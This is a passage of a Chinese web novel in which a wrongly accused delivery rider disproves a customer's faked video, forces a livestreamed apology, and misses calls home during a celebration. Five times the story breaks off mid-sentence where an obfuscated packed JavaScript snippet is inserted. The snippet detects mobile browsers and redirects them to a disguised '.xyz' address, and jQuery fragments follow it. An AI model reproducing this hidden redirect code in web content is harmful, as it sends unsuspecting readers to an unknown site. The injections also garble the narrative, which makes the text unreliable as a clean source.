全网都在骂我们平台包庇恶性员工,几家合作的大客户已经打电话来问责了。你知道这意味着什么吗?” 顾云舟没说话,他握着手机的手开始发抖。 “总部的命令。“从现在开始,你被无限期停职。账号后台直接冻结。” 停职…… “三天。”张伟下了最后的通牒,“给你三天时间,平息这件事。 让那个吴凯删视频,公开道歉。 做不到,你的档案里就会记上最严重的一笔,行业拉黑。以后,别说我们平台,全国任何一家配送公司,都不会再要你。” “我……” “嘟……嘟……嘟……” 电话被挂断了。 世界在他耳边嗡嗡作响,然后彻底安静了。 “啪嗒。” 手机从他手中滑落,屏幕亮着,一条新的短信弹了出来。 【傻x,知道你住柳巷路了,等着。】 紧接着,又一个陌生号码的电话打了进来。 顾云舟没接。 手机固执地响着,震动着。 他瘫坐在地上,双眼空洞地望着天花板,手机在不远处,徒劳地震动着,闪烁着。 一条条短信预览,一个个陌生来电,一片片恶毒的言语。 他被扒光了,扔在网络的中央。 萧青鸾一直静静地看着他。 她从饭桌前站起来,走到那只不断哀嚎的铁盒旁边。 她弯腰,捡起手机。 屏幕上,又一个陌生的号码亮起。 她葱白的手指,点在了绿色的图标上。 电话接通了。 “操你m的狗东西!**还敢接电话?有种别怂啊!老子……” 电话那头,是一个年轻男人暴躁的咆哮,污言秽语不堪入耳。 萧青鸾没有说话。 她就那么举着手机,静静地听着。 那双漂亮的眸子里,最后一丝温情,正在迅速褪去。 电话那头的男人骂得更起劲了,似乎被她的沉默激怒。 “怎么不说话了?怕了?我告诉你,你这种社会垃圾……” “告诉我。” 萧青鸾终于开口了。 她的声音很轻,很平,不带任何情绪,却让电话那头的咒骂声戛然而止。 “你,住哪里?” 寂静。 电话那头,只剩下粗重的呼吸声,像一只被扼住喉咙的公鸡。 几秒后。 “嘟”的一声,电话被惊恐地挂断了。 萧青鸾面无表情地放下手机。 她走到他身边,缓缓蹲下。 她伸出宽大的衣袖,轻轻擦去他额角的冷汗。 动作温柔。 “先生。” 她的声音很轻, 他缓缓抬起头,对上萧青鸾的眼睛。 那双眸子里没有了之前的温情和依赖,只剩下一片深不见底的寒潭。 冰冷,平静。 顾云舟的喉咙发干。 他毫不怀疑,如果自己点头,下一秒,这个女人就会用某种他无法理解的方式,找到电话那头的人,然后……捏断他的脖子。 “不。” 顾云舟一把抓住她冰凉的手腕。 她的手腕很细,也很软。 “不用你的方法。” 他盯着她的眼睛,一字一句,用尽全身力气。 “相信我。我有办法,让他付出代价。” 萧青鸾没有说话,只是静静地看着他。 顾云舟撑着地面,摇摇晃晃地站了起来。 他做的第一件事,是走到那只还在嗡嗡作响的手机旁。 他捡起手机,熟练地抠开后盖,取出那张小小的电话卡。 “啪嗒。” 他将卡片扔在桌上,又把电池也抠了出来。 整个世界,瞬间清净了。 他转身,看着萧青鸾。 “从现在开始,我需要绝对的安静。” 他的眼神恢复了清明,那种属于帝师的,洞悉一切的冷静,正在回归。 “帮我守着门。任何人来,都不要开。任何声音,都不要发出来。” 萧青鸾看着他眼中的光,那光芒她无比熟悉。 那是先生在朝堂之上时才有的模样。 她重重地点了点头,没有说一个字。 她走到那扇薄薄的出租屋门后,站定。 腰背挺得笔直。 顾云舟不再理会外界的一切。 他走到那台破旧的二手电脑前,开机。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232635|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风扇发出不堪重负的轰鸣。 他没有理会那些铺天盖地的弹窗新闻,直接点开了那个已经播放量破百万的视频。 吴凯那张涕泪横流的脸,占据了整个屏幕。 【无良外卖员,上门辱骂威胁,还有王法吗!】 鲜红的标题刺人眼球。 顾云舟面无表情,将视频的声音关掉。 他忽略了那些煽动性的字幕,忽略了评论区不堪入目的咒骂。 他的手指搭在鼠标上,一遍又一遍地拖动着进度条。 播放,暂停。 播放,暂停。 他将视频的每一帧,都没有放过。 顾云舟的指尖在桌面上轻轻敲击了一下。 找到了,第一个。 他没有停下,而是将视频恢复正常大小,戴上了那副接触不良的廉价耳机。 他打开声音,将音量调到最大。 耳机里,吴某声泪俱下的控诉和背景里他自己的嘶吼混杂在一起,刺得耳膜生疼。 顾云舟皱着眉,强忍着不适。 他再一次播放视频。 这一次,他将自己的注意力从人声中抽离,去捕捉背景里那些更细微的杂音。 电流的嘶嘶声。 窗外隐约的风声。 还有…… 顾云舟猛地按下了暂停键。 他将进度条往回拉了一点。 再次播放。 就是那里! 在吴凯最大声的一句哭喊“你要干什么”的间隙里,有一段微弱的,不属于屋内的声音,混了进来。 那是一段激昂的,富有节奏感的音乐。 顾云舟将这段音频单独截取出来,反复播放,将噪音过滤。 旋律渐渐变得清晰。 是那首几乎血洗了全国所有广场的《最炫民族风》。 这个高档小区,为了避免扰民,规定了广场舞的固定时间。 每晚七点到八点,雷打不动。 顾云舟的记忆里,清晰地浮现出站长张伟念出投诉单内容的画面。 客户投诉时间,深夜十一点。 时间,对不上了。 第二个。 顾云舟摘下耳机,扔在桌上。 他靠在椅背上,椅子发出“嘎吱”一声呻吟。 他盯着屏幕上的脸。 一种久违的,将一切**于股掌之上的掌控感,从四肢百骸涌了回来。 三天时间? 平息**? 行业**? 顾云舟的嘴角,缓缓勾起一抹弧度。 他不需要三天。 第一百八十一章 钓鱼 顾云舟拿起了萧青鸾那部屏幕碎裂的备用机。 他划开屏幕,找到通讯录里唯一一个没有备注的号码,拨了出去。 电话响了三声,被接通。 “喂?” 张伟不耐烦的声音从听筒里传来,带着火气。 “站长,是我,顾云舟。” 电话那头沉默了一下。 “你还打电话来干什么?公司怎么说的你忘了?这三天是让你去解决问题,不是让你来烦我的!” “站长……”顾云舟的声音带着恳求,“我想通了。” “嗯?” “我斗不过他。”顾云舟的声音低了下去,充满了无力和沮丧,“我认栽。我就是个送外卖的,人家是高档小区的业主,我拿什么跟他斗。” 这番话让张伟的语气缓和了不少。 “五百块钱,我赔。” “我现在就想当面跟他道个歉,求他高抬贵手,把那个视频删了。 站长,求你再给我一次机会,我真的需要这份工作。” 张伟哼了一声。 “现在知道错了?晚了!事情闹这么大,你以为道个歉就完了?” “我知道晚了,但总得试试。” “站长,我一个人去,心里实在是没底,我怕……我怕他又动手脚,录个音什么的,到时候我又说不清了。” 他停顿了一下,似乎在组织语言。 “您看这样行不行?能不能请您,或者站点派个管理,跟我一起去一趟?就当是做个见证。我们当面把钱给他,让他签个和解书,保证以后不再追究。 这样对站点来说,也算是最快平息**的方式,对不对?总比事情一直挂在网上,影响公司形象要好。” 这个提议,完全是站在公司的角度考虑。 既能快速解决问题,又能留下书面证据,一劳永逸。 电话那头的张伟沉默了。 他在权衡。 几秒后,他开口了:“行吧。算你小子还长点脑子。明天上午九点,到站点来找我。” “谢谢站长!谢谢站长!”顾云舟连声道谢,语气里充满了感激。 “行了,就这样。” 张伟不耐烦地挂断了电话。 顾云舟放下手机,脸上的颓丧瞬间消失,恢复了之前的平静。 他一回头,就对上了一双眼镜。 萧青鸾不知何时已经站在他身后,浑身上下都散发着一股危险的气息。 “先生。”她的声音很低,压抑着怒火,“你为何要向那等刁民低头?” 在她看来,顾云舟刚才那番话,简直是奇耻大辱。 顾云舟看着她,忽然笑了。 “钓鱼,总得先撒点饵。” 他拿起手机,又翻出一个号码。 备注是“小李”。 电话很快接通。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232636|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “喂,舟哥?你怎么样了?”小李的声音听起来很关切。 “没事,死不了。”顾云舟的声音恢复了正常,“李哥,帮个忙。” “你说!” “你就在咱们骑手群里,不经意地提一嘴。”顾云舟的语速不快,但很清晰,“就说我顶不住压力了,准备认怂,明天跟站长一起去找那个姓吴的,当面赔钱道歉。” 小李愣了一下:“舟哥,你真要赔?那孙子就是个惯犯,明显是敲诈!” “没办法,胳膊拧不过大腿。消息放出去了,站点也能好看点。”顾云舟叹了口气,“拜托了,兄弟。” “……行吧。我知道了。”小李的声音有些不甘。 “谢了,改天请你喝酒。” 挂断电话,顾云舟将手机卡重新装回自己的手机里。 他做完了所有的布置。 现在,只需要静静等待鱼儿上钩。 他转过身,对上萧青鸾那双依旧充满疑虑的眼睛。 “明天... “你在家等我消息。”顾云舟看着她,眼神前所未有的认真,“在我给你发信号之前,什么都不要做。” 萧青鸾紧紧抿着嘴唇,没有说话。 她看不懂他的布局,但她看得懂他的眼神。 那眼神她很熟悉。 良久。 她终于点了点头,吐出一个字。 “好。” 第一百八十二章 录音 清晨八点五十分,顾云舟准时出现在站点门口。 他手里捏着五张的一百。 张伟已经等得不耐烦,跨上自己的小电驴,瞥了他一眼:“磨磨蹭蹭的,赶紧上车。” 顾云舟没说话,默默坐上后座。 出发前,他低头看了一眼手机。屏幕上显示着通话界面,时长一分二十秒,还在继续。 他不动声色地将手机塞进口袋,屏幕朝内,摄像头和麦克风孔隔着薄薄的布料,正对着外界。 出租屋里,萧青鸾盘腿坐在小马扎上,另一部手机贴在耳边,屏幕的微光映着她的小脸。 她听见了风声,听见了电瓶车启动的电流声,也听见了张伟的催促。 她的呼吸很轻,生怕她的声音被别人听到。 电瓶车一路疾驰,最后停在一个高档小区的门口。 张伟跟保安熟络地打了个招呼,两人畅通无阻地进入。 “待会儿机灵点,态度放好点,别再给我惹事。” 顾云舟低着头,“嗯”了一声。 电梯平稳上升。 叮。 18楼到了。 张伟走在前面,找到了1802室,按下门铃。 几秒后,门开了。 吴某穿着一身丝绸睡衣,头发乱糟糟的,打着哈欠,一副宿醉未醒的模样。 他看到门口的张伟,又看到张伟身后低眉顺眼的顾云舟,脸上立刻堆起了笑容。 “哟,什么风把你们给吹来了?”他斜靠在门框上,眼神轻蔑地扫过顾云舟,“怎么,想通了?” 张伟脸上挤出点笑:“吴先生,这不是带他来给您赔个不是嘛。” “早这样不就完了?”吴某嗤笑一声,让开身子,“进来吧。” 屋里装修得不错,看得出花了不少钱。 吴某大马金刀地坐在沙发上,指了指对面的小板凳:“坐。” 张伟有些尴尬,但还是坐下了。 顾云舟站在原地,没动。 “怎么,还想站着?”吴某抬了抬下巴,语气里满是戏谑, “我可告诉你,今天你们站长在这儿,我给他个面子。不然,你以为这事儿五百块钱就能了了?” 张伟赶紧打圆场:“小顾,赶紧的,给吴先生道个歉。” 顾云舟深吸一口气,对着吴某鞠了一躬。 “吴先生,对不起。” 他的声音不大,听起来充满了疲惫和无奈。 “那天是我不对,服务态度不好,让您不高兴了。我向您道歉。” 吴某很享受这种感觉。 他翘起二郎腿,慢悠悠地说:“道歉?光嘴上说有什么用?你知道因为你,我这两天被骚扰成什么样了吗?” 顾云舟攥紧了手里的五百块钱,指节因为用力有些发紧。 “是我的错。” “错?你错哪儿了?”吴某不依不饶,“你不是挺横的吗?不是还敢在电话里威胁我吗?怎么,现在怂了?” 他越说越起劲,甚至当着张伟的面,开始添油加醋地复述当晚的“事实”。 “张站长,你是不知道啊。 那天晚上,十一点多,外面下着那么大的雨,我好心好意让他送上来,他倒好,超时了不说,还对我破口大骂!” 吴某说得绘声绘色,唾沫横飞。 “他说什么‘你信不信我弄死你’,还说什么‘我知道你住哪儿’。 嘿,我这暴脾气!我当场就录下来了!不然你们公司能处理得这么快?” 张伟的脸色越来越难看。 他扭头看了一眼顾云舟,眼神里全是警告。 顾云舟始终低着头,一言不发,任由吴某颠倒黑白。 “行了行了。”张伟听不下去了,他只想赶紧拿钱走人,“吴先生,您看,他也道歉了。这钱……” 他给顾云舟使了个眼色。 顾云舟点点头,往前走了两步,正准备把钱递过去。 吴某却摆了摆手:“哎,不急。” 他看着顾云舟,笑得恶意满满:“道歉得有诚意。 这样吧,你再大声说一遍‘我错了,我不该辱骂吴先生’。说得我满意了,这事儿就算了。” 张伟的眉头皱了起来。 这已经不是解决问题,这是羞辱。 顾云舟的身体僵住了。 吴某脸上的笑容更盛了。 他就是要这样,把对方的尊严踩在脚下,再狠狠碾几下。 然而,顾云舟并没有照做。 他慢慢直起了腰,抬起了头。 他从口袋里掏出自己的手机,屏幕正亮着,停留在录音界面上。 他按下了播放键。 “……那天晚上,十一点多……他说什么‘你信不信我弄死你’……” 吴某刚刚添油加醋说的那些话,一字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232637|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不差地从手机里传了出来。 吴某的笑容僵在了脸上。 张伟也愣住了。 “吴先生。”顾云舟的声音不大,却清晰地传到每个人耳朵里,“您刚才说,我是在深夜十一点多,用这些话威胁您,对吗?” 吴某脸色变了变,但还是嘴硬道:“没错!怎么,你还想抵赖?” 顾云舟没理他,而是收起手机,又从另一个口袋里掏出一部破旧的二手手机。 这部手机是昨天晚上在路边小摊花了几十买的。 他将手机放到茶几上,开机。 屏幕亮起,桌面很干净,只有一个视频文件。 他点开视频。 正是吴某发到网上的那段。 画面里,顾云舟站在门口,浑身湿透,狼狈不堪。 视频的声音被调到了最大。 “……你是不是有病……信不信我投诉你……” 这是吴某的声音,充满了挑衅。 画面里的顾云舟嘴唇动了动,但背景音太过嘈杂,根本听不清他说了什么。 紧接着,就是吴某那句充满恐惧的“你要干什么!你想**吗!” 视频到此结束。 然后呢,你想表达什么。 张伟叹了口气,觉得顾云舟是在做无谓的挣扎。 顾云舟没有看他们,只是盯着屏幕,将视频进度条拖到中间某一帧,按下了暂停。 画面定格。 定格的画面里,顾云舟的身后,是走廊光亮的墙壁。 墙壁反射出了屋内的一角,也反射出了举着手机拍摄的吴某。 以及,吴某脸上那毫不掩饰的笑容。 顾云舟没有说话,只是又点了一下。 他关掉了视频的原声,播放了另一段音频。 一段从视频背景音里分离出来的,被放大了无数倍的纯粹的噪音。 噪音很杂乱,但在这片杂乱中,一段欢快又无比熟悉的旋律,顽强地钻了出来。 “苍茫的天涯是我的爱,绵绵的青山脚下花正开……” 是《最炫民族风》。 楼下小区广场舞的标配神曲。 播放时间,通常是晚上七点到八点。 顾云舟抬起头,目光直视着吴某。 “那么,请您解释一下,为什么您在晚上七点多录制‘深夜被威胁’的视频时,就已经笑得这么开心了呢?” 第一百八十三章 直播 张伟一个激灵,猛地看向顾云舟手里的手机。 短视频的界面还在播放。 顾云舟淡淡开口:“我的名誉是小事。” 他顿了顿,目光扫过张伟的工牌。 “站点的脸,平台的招牌,才是大事。” 张伟的冷汗刷一下就下来了。 他懂了。 这小子不只是要自证清白,他这是要把公司也拉下水。 要是这件事被定性为平台纵容恶意投诉,那**风向一转,火可就烧到自己屁股底下了。 “你说得对!”张伟一拍大腿,脸色瞬间变得比谁都正义,“这种抹黑我们平台的行为,绝不能容忍!” 他一个箭步冲到吴某面前,指着他的鼻子怒吼:“吴某!你听见没有!立刻!马上!给我们的骑手,给我们的平台,道歉!” 道歉? 只要道歉就行? 不用报警? 吴某猛地抬头。 抓起自己的手机,手抖得几乎握不住。 “我道歉!我马上道歉!只要不报警你让**什么都行。” 顾云舟冷眼看着这一切,一言不发。 直到吴某哆哆嗦嗦地点开了录制键,他才终于再次开口。 “张站长,口说无凭。 为了表示诚意,我觉得吴先生的道歉,内容还是严谨一点比较好。” 张伟立刻心领神会:“对!严谨!小顾,你说,让他怎么说!” 顾云舟走到吴某面前看着他。 “打开你的账号,开直播。” 吴某愣了一下,随即疯狂点头。 直播间很快开启,在线人数从零开始缓慢跳动。 顾云舟的声音平静,口述着。 “第一句,‘各位网友,大家好,我是吴某,视频的发布者’。” 连忙照着念:“各……各位网友,大家好,我是吴某……” “‘关于我昨天发布的针对外卖员顾师傅的视频,内容严重失实,是我个人出于报复心理,恶意剪辑并捏造的’。” 吴某的咬着牙,一字一句地重复。 直播间里,零星的弹幕开始出现。 【???】 【啥情况?反转了?】 【我就说小哥不像坏人!】 顾云舟不为所动,继续说道:“‘事实的真相是,顾师傅不仅没有超时,还在我提供错误地址信息的情况下,尽职尽责地完成了配送。 我非但没有感谢,反而对他进行言语羞辱,并在事后恶意投诉,剪辑视频,企图毁掉他的工作和名誉’。” 他一边念,一边控制不住地发抖,眼泪鼻涕又流了下来。 “‘我对我卑劣无耻的行为,向顾云舟师傅,致以道歉。是我小肚鸡肠,是我颠倒黑白,我是个彻头彻尾的小人’。” 直播间的人数已经破千,弹幕彻底炸了。 【**!年度大戏啊!】 【我就知道有鬼!这人看着就不像好东西!】 【活该!支持外卖小哥**!】 【**他!让他社死!】 顾云舟的眼神没有丝毫变化,吐出最后一段话。 “‘我恳请大家停止对顾师傅的网暴,所有的错误都在我一个人。我愿意承担一切法律后果。对不起’。” 吴某说完最后一个字,整个人都虚脱了,手机“啪”地一声掉在地上。 顾云舟弯腰捡起,确认视频已经结束,顺手将那条抹黑的原视频删除。 他把手机扔回吴某怀里。 “好了。” 做完这一切,他转身就走。 张伟愣了半秒,赶紧跟了上去,出门前还回头恶狠狠地瞪了吴某一眼。 “这事没完!” 回到站点,已经是中午。 张伟前倨后恭,忙得团团转。 他先是亲自给顾云舟拧开一瓶冰红茶,又摸出一包皱巴巴的华子,递了过去。 “兄弟,来,抽一根,压压惊。” 顾云舟摆了摆手。 张伟也不尴尬,自己点上一根,用力吸了一口,脸上堆满了愧疚和讨好。 “小顾啊,不,顾哥!今天这事,是老哥我有眼无珠,差点冤枉了你这个人才!” 他一拍胸脯,唾沫横飞。 “你放心!你的处罚,我马上跟总部申请撤销!一分钱都不会扣!不光不扣,我还要给你申请见义勇为奖! 不!是**卫士奖!奖金我给你争取最高的!” 办公室里几个没出去跑单的骑手,都伸长了脖子往里看。 张伟越说越激动,一把揽住顾云舟的肩膀。 “顾哥,以后你就是我亲哥!只要你不报紧,什么魔鬼线路,什么狗屁投诉,哥全给你挡了!” 顾云舟只是静静地听着。 等他说完,才轻轻挣开他的手臂,语气平淡。 “谢谢张站长。” 顾云舟拿起自己的头盔,转身朝外走去。 “我累了,先回家休息。” 拖着身体,顾云舟回到出租屋。 钥匙**锁孔,还没转动,门就从里面猛地被拉开。 萧青鸾的身影出现在门口。 她二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233776|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话不说,冲上来就抓着顾云舟的胳膊,一双眼睛在他身上来回扫视,从头到脚,不放过任何一个角落。 “先生,你回来了。” 她的声音里颤抖。 “可有受伤?那刁民有没有对你动手?” 确认顾云舟身上没有伤口,她才松了口气。 但下一秒,那张绝美的脸上,便布满了煞气。 “先生,此事虽了,但那竖子对你造成的**,岂能一个道歉视频就一笔勾销?” 她往前一步,身上的T恤都带起一阵冷风。 “依本……依我看,至少应将其流放三千里,永世不得回京!” 她似乎想起了什么,又改口。 “咳,回城!” 听着这番霸气侧漏又有点可爱的发言,顾云舟紧绷的神经,终于松弛下来。 他笑了。 他伸手,将眼前这个人儿,轻轻拥入怀中。 萧青鸾的身体僵了一下,随即也慢慢放松下来。 “傻瓜。”顾云舟的声音沙哑,“这里没有流放。” 他拍了拍她的背,轻声解释。 “不过你放心,他会比流放更难受的。 他松开她,看着她似懂非懂的眼睛。 “他工作,名声,朋友,所有的一切,都会离他而去。他会活在所有人的指指点点里,一辈子都抬不起头。” 而且我还报了警,这里的法律够他吃一壶了。 萧青鸾眨了眨眼,似乎在消化这个概念。 过了一会,她才点点头,脸上的怒气总算消散了些。 “先生的手段,总是这般……别出心裁。” 她转身走进厨房,端出一碗还冒着热气的粥。 “先生辛苦了,用膳吧。” 顾云舟看着那碗白粥,心里一暖,坐下来,一口一口地吃完。 吃完饭,萧青鸾去研究那个电视机了。 顾云舟则独自走到窗边,拉开窗帘。 楼下车水马龙,人来人往。 城市依旧喧嚣。 可他心里没有半分喜悦。 这次,是有监控,有对方视频里的破绽,才能绝地翻盘。 那下一次呢? 如果遇到一个更聪明,更谨慎的对手呢? 如果下一次没有监控呢? 他是不是就只能像其他骑手一样,自认倒霉,打碎了牙往肚里咽? 他低头,看着自己的手。 这双手,可以送外卖,可以搬砖,可以做一切能糊口的事。 但仅仅是糊口,还不够。 远远不够。 第一百八十四章 未接的电话 吴某的道歉视频,在网上炸了。 评论区从一边倒的辱骂,变成了一场网络狂欢。 【**,年度最佳反转!】 【这外卖小哥是可以啊,全程淡定,一招致命!】 【那个吴某人最后的表情,够我笑一年,建议做成表情包!】 【什么叫专业?这就叫专业!道歉视频都得别人手把手教。】 **一百八十度掉头,顾云舟的账号下面涌进无数吃瓜群众,纷纷留言“小哥666”。 连带着柳巷路站点,也在总部的通报里被表扬了一番。 张伟的嘴巴,一整天就没合拢过。 他叼着烟,手机刷得飞起,看着那些夸奖,脸上的褶子都笑成了一朵菊花。 “兄弟们!” 张伟猛地一拍桌子,唾沫星子喷出老远。 “今晚,老地方大排档!我请客!给咱们的英雄,顾哥,开庆功宴!” 站点里顿时一片芜湖。 “好耶!站长威武!” “舟哥牛逼!今晚必须不醉不归!” 顾云舟刚换下衣服,正准备回家,就被张伟一把拦住。 “顾哥,你可是今晚的主角,可不许跑啊!” 顾云舟眉头一皱。 应酬,喝酒,跟一群不熟的人吹牛逼。 他只想回家,看着萧青鸾,然后好好睡一觉。 “张站长,我身体还没好利索,就不去了吧。” 张伟的脸瞬间垮了下来,拉着顾云舟的手,情真意切。 “顾哥,你这是打我的脸啊!你不去,这庆功宴还有什么意思?这是荣誉!是咱们站点的集体荣誉!你必须到场!” 几个同事也围了上来。 “是啊舟哥,给个面子呗。” “就是,今天全靠你,咱们站点才算出了一口恶气!” 看着这一张张热情的脸,顾云舟还是叹了口气。 “行,我去。不过我得先回家一趟。” “应该的应该的!跟嫂子报备一下嘛!我们等你!”张伟笑得更灿烂了。 顾云舟骑着电瓶车,心里盘算着怎么跟家里那位解释。 庆功宴? 团建? 这些词,她能听懂吗? 推开门,萧青鸾正坐在沙发上,手里拿着他的手机,似乎在研究什么。 看见他回来,她立刻放下手机,站了起来。 “先生。” “嗯,我回来了。” 顾云舟换了鞋,走到她面前,清了清嗓子。 “那个……晚上我有点事,要出去一趟。” 萧青鸾的眼神瞬间变了。 那是带着审视和警惕的目光,让他头皮有点发麻。 “何事?” “我们站长,就是我那个上司,要请吃饭。” 顾云舟尽量用她能理解的词汇。 “今天的事,我赢了,所以他要……犒赏。” “犒赏?” 萧青鸾重复了一遍,眉头微蹙。 “只有你一人?” “还有站里所有的同事,大概十几个人吧。” “一群男人聚在一起?”萧青鸾的脸色冷了下来,“饮酒作乐?” “……差不多是这个意思。”顾云舟硬着头皮点头,“这叫,叫团建。就是增进一下同事感情。” “无聊。” 萧青鸾吐出两个字,转身坐回沙发,拿起遥控器,对着电视一通乱按。 空气安静得可怕。 顾云舟知道,这事没那么容易过去。 他走过去,在她身边坐下。 “我就是去露个面,很快就回来。” 电视屏幕上,一个古装剧里的皇帝正在大发雷霆。 萧青鸾没看他,声音冰冷。 “先生如今是自由身,想去何处,不必向我报备。” 这话里的怨气,快要溢出来了。 顾云舟头疼。 他伸手,拿过她手里的遥控器,关掉了电视。 “萧青鸾。” 他认真地看着她的眼睛。 “我不是在向你报备,我是在跟你商量。” 萧青鸾的身体似乎僵了一下,但依旧没有说话。 “我保证,九点之前,一定到家。” 顾云舟伸出三根手指。 “吃饭的时候,每半个小时,我给你打一个电话。” 他又补充了一句。 “用视频。” 萧青鸾沉默了许久,长长的睫毛垂下,遮住了眼里的情绪。 最后,她才从鼻子里轻轻“嗯”了一声。 “先生,一言为定。” “一言为定。” 顾云舟松了口气, 他换了身干净的衣服,匆匆出了门。 屋内,重新恢复了寂静。 萧青鸾拿起遥控器,再次打开了电视。 屏幕上光影变幻,她漫无目的地按着键。 最后,画面停留在一个都市情感剧上。 剧里,一个穿着西装的男人,正在一个灯红酒绿的宴会上,被一群人围着敬酒。 他喝得满脸通红,笑得十分开心。 一个穿着暴露的女同事,端着酒杯,紧紧贴了上去。 画面一转。 一个女人独自坐在冷清的家里,看着桌上渐渐凉掉的饭菜,眼神里充满了担忧和不安。 她不停地看着墙上的时钟,指针一格一格地走动。 她拿出手机,拨通了男人的电话。 无人接听。 再拨。 还是无人接听。 萧青鸾捏着遥控器的手,停住了。 她抬起头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16238191|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看了一眼墙上的挂钟。 七点半。 她又低下头,看了一眼被她放在茶几上的,顾云舟的备用手机。 屏幕是黑的。 她的眼神,一点一点,冷了下来。 大排档里,热火朝天。 几十个光着膀子的男人围坐在一起,桌上摆满了啤酒瓶和烤串。 顾云舟成了绝对的中心。 “来!舟哥!我敬你一杯!你就是我的偶像!” “舟哥,啥也别说了,都在酒里!” “舟哥……” 一杯杯啤酒递到他面前,一声声“舟geigei”叫得他头晕脑胀。 他本来酒量就一般,加上身体还没好利索,几杯下肚,脸已经开始发烫。 张伟勾着他的脖子,满嘴酒气。 “顾哥,你今天……嗝……就是咱们站的门面!看谁隔...以后谁敢欺负咱们骑手, “对!”众人哄笑。 顾云舟勉强挤出一个笑容,手悄悄伸进口袋,摸到了自己的手机。 他想起了那个半小时一次的约定。 他看了一眼时间。 八点二十五。 糟了。 他想站起来,去个安静的地方打电话。 “哎?顾哥你去哪?”张伟一把将他按回座位,“酒还没喝完呢!养鱼呢?” “我去上个厕所。” “憋着!先吹了这瓶!” 又一瓶冰啤酒被塞进他手里。 顾云舟看着周围一张张热情的脸,心中那股不安的感觉,越来越强烈。 他感觉口袋里的手机,在疯狂震动。 一声,两声,三声…… 震动停了。 过了一会,又响了起来。 执着,而又急切。 他拿起酒瓶,仰头灌了下去。 冰凉的液体顺着喉咙滑下,却浇不灭心里的那团火。 城中村,出租屋内。 电视里的女人,终于等回了她喝得酩酊大醉的丈夫。 丈夫的身边,还扶着那个漂亮的女同事。 女主角的脸上,血色褪尽。 萧青鸾关掉了电视。 房间里一片黑暗,只有窗外透进来的微弱光线,勾勒出她孤单的身影。 她拿起茶几上的手机,屏幕亮起。 时间,九点整。 通话记录里,是一排鲜红的“未接通”。 她放下手机,站起身,缓缓走到窗边。 楼下,一个醉汉摇摇晃晃地走过,嘴里哼着不成调的歌。 她静静地看着。 九点零一分。 手机依旧安静。 九点零二分。 那个承诺,那个约定,言犹在耳。 她慢慢抬起手,按在了冰冷的玻璃窗上。 “骗子。” 第一百八十五章 病变 大排档。 张伟喝得舌头都大了,唾沫星子乱飞。 “顾哥嗝…我……我已经跟上头申请了!年度优秀员工!奖金五千!” “喔!” 周围的骑手们一阵狼嚎,更多冰凉的酒瓶被推到顾云舟面前。 他感觉脑子是一团浆糊,胃里翻江倒海。 他想推开酒瓶,却被一只大手按住。 顾云舟心里咯噔一下,一股莫名的慌乱涌上来。 他猛地推开身边的人,晃晃悠悠站起来。 “上厕所。”他含糊不清地丢下一句,也不管张伟在后面喊什么,一头扎进了卫生间。 冷水扑在脸上,让他混沌的脑子清醒了一瞬。 他靠在满是污渍的墙上,从口袋里把手机给掏了出来。 他深吸一口气,按下了开机键。 没有反应。 再按。 屏幕依旧一片漆黑。 他不死心,长按着电源键,把手机凑到眼前。 屏幕中央,微弱的红光闪烁了一下,然后彻底熄灭。 没电了。 一股寒意从脚底板直冲头顶,让他瞬间酒醒了一半。 …… 出租屋内。 